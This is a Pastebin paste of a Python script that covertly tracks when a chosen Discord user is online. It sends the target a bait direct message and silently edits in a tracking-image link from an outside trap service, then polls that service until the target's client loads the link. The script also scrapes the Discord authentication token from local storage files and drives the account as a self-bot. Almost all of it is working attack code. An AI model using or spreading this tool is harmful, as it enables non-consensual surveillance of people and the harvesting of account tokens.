ejectedmatrix

Untitled

Jul 12th, 2019
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. """
  2. Title: Discord Online-Status Tracker
  3.  
  4. Author: h0nda (twitter.com/h0nde)
  5.  
  6. Release Date: 2019-06-02
  7.  
  8. Description:
  9.   This project abuses the fact that embedded image links don't get cached when a message is sent,
  10.   only after it is visited by client.
  11.   We can abuse this to track when a target's discord client processes a message, which can tell us
  12.   if a target is online or not.
  13.  
  14. Note:
  15.   This project doesn't tell you when a target actually read your message, it just tells when it
  16.   was processed by their device.
  17.   You can avoid getting tracked by turning off the setting "When posted as links to chat." at
  18.   Discord Client -> Settings -> Text & Images.
  19. """
  20.  
  21. import os
  22. import random
  23. import glob
  24. import re
  25. import time
  26. from datetime import datetime
  27. import requests
  28. import subprocess
  29.  
  30. try: input = raw_input
  31. except NameError: pass
  32.  
  33. # attempt to find discord token from local db files
  34. token = None
  35. for fpath in glob.glob(os.getenv("APPDATA")+"\\Discord\\Local Storage\\leveldb\\*.ldb"):
  36.     try:
  37.         with open(fpath, errors="ignore") as f:
  38.             token_match = re.search("\"([a-zA-Z0-9\-]*\.[a-zA-Z0-9\-]*\.[a-zA-Z0-9\-]*)\"", f.read())
  39.             if token_match:
  40.                 token = token_match.group(1)
  41.                 break
  42.     except: pass
  43.  
  44. if not token: exit(print("Your authentication token could not be found. Make sure you are logged into Discord Client and try again."))
  45.  
  46. class Discord:
  47.     def __init__(self, token):
  48.         self.session = requests.Session()
  49.         self.session.headers["Authorization"] = token
  50.         self.session.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36"
  51.         self.get_self_info()
  52.  
  53.     def get_self_info(self):
  54.         self.info = self.session.get("https://discordapp.com/api/v6/users/@me").json()
  55.  
  56.     def create_trap_url(self):
  57.         resp = requests.get(
  58.             url="http://t.rbxtools.com/?create"
  59.         )
  60.  
  61.         return resp.json()
  62.    
  63.     def get_dm_channel_id(self, user_id):
  64.         resp = self.session.post(
  65.             url="https://discordapp.com/api/v6/users/"+str(self.info["id"])+"/channels",
  66.             json={"recipients": [str(user_id)]}
  67.         )
  68.         resp.raise_for_status()
  69.  
  70.         return resp.json()["id"]
  71.    
  72.     def delete_channel(self, channel_id):
  73.         resp = self.session.delete(
  74.             url="https://discordapp.com/api/v6/channels/"+str(channel_id)
  75.         )
  76.         return 200 == resp.status_code
  77.  
  78.     def send_message(self, channel_id, body):
  79.         resp = self.session.post(
  80.             url="https://discordapp.com/api/v6/channels/"+str(channel_id)+"/messages",
  81.             json={"content": body, "nonce": "".join([str(random.randint(0,9)) for _ in range(18)]), "tts": False}
  82.         )
  83.         resp.raise_for_status()
  84.  
  85.         return resp.json()["id"]
  86.    
  87.     def edit_message(self, channel_id, msg_id, body):
  88.         resp = self.session.patch(
  89.             url="https://discordapp.com/api/v6/channels/"+str(channel_id)+"/messages/"+str(msg_id),
  90.             json={"content": body}
  91.         )
  92.         return 200 == resp.status_code
  93.  
  94. target_uid = input("Target User ID: ")
  95. msg_body = input("Enter your 'bait' message: ")
  96.  
  97. # le deprecated laziness has arrived
  98. # make sure we don't accidentally load the trap image ourselves
  99. os.system("taskkill /f /t /im Discord.exe > nul 2> nul")
  100.  
  101. session = Discord(token)
  102. target_cid = session.get_dm_channel_id(target_uid)
  103. trap = session.create_trap_url()
  104. if "error" in trap:
  105.     print("Error while creating trap link:", trap["error"])
  106.     exit()
  107.  
  108. # send message without link to avoid it showing up on notification
  109. bait_msg = session.send_message(target_cid, msg_body)
  110. # edit message to add link
  111. session.edit_message(target_cid, bait_msg, msg_body+"\n"+trap["url"])
  112. # make sure we don't accidentally load the trap image ourselves
  113. session.delete_channel(target_cid)
  114.  
  115. subprocess.Popen([glob.glob(os.getenv("LOCALAPPDATA")+r"\\Discord\app*")[0]+r"\Discord.exe"], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
  116.  
  117. print("\nBait message has been sent to target user. Do not re-open your DM channel with the target user or the tracking will fail.")
  118. print("You'll be notified of when the message was viewed below:\n")
  119.  
  120. # wait until link is visited
  121. while 1!=time.sleep(1):
  122.     try:
  123.         status = requests.get(trap["stats_url"]).json()
  124.         if status["views"] > 1:
  125.             print("Message", "'"+msg_body+"'", "was viewed at", datetime.fromtimestamp(status["last_visit"]).strftime("%Y-%m-%d %H:%M:%S"), "\a")
  126.             target_cid = session.get_dm_channel_id(target_uid)
  127.             session.edit_message(target_cid, bait_msg, msg_body)
  128.             session.delete_channel(target_cid)
  129.             break
  130.     except Exception as error: pass
  131.  
  132. while 1!=time.sleep(5): pass
Add Comment
Please, Sign In to add comment